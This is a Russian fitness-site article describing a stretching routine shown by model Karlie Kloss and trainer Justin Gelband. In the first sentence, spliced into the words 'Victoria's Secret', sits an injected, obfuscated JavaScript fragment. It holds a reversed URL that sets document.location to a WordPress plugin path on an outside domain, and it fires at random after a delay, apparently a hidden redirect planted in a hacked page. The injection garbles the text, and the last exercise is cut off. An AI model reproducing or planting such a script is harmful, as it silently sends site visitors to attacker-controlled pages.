Тренировка с супермоделью Карли Клосс: стретчинг

Карли Клосс – знаменитая модель, одна из ангелов Victoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria’s Secret и обладательница шикарной подтянутой и спортивной фигуры.

Совместно со звездным тренером Джастином Гельбандом Карли показала 5 полезных упражнений на растяжку всех групп мышц. Эта тренировка будет полезна как разминка перед силовыми упражнениями или же, наоборот, после силовой тренировки.

  • Растяжка поясницы, мышц живота, груди и шеи. Лежа на животе и опираясь на руки и локти, подними корпус вверх, немного задержавшись вверху.

 

  • Растяни мышцы бедер. Для этого положи сначала правую ногу на левое колено и обеими руками потяни левое колено к себе.

 

  • А теперь потяни мышцы шеи и воротниковой зоны. Устроившись удобно на коврике, рукой потяни шею в сторону.

 

  • Для растяжки рук, возьмись правой рукой за левый локоть и потяни его вокруг тела.

 

  • И последнее упражнение на растяжку внутренней и внешней стороны бедер, ягодиц:

 

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector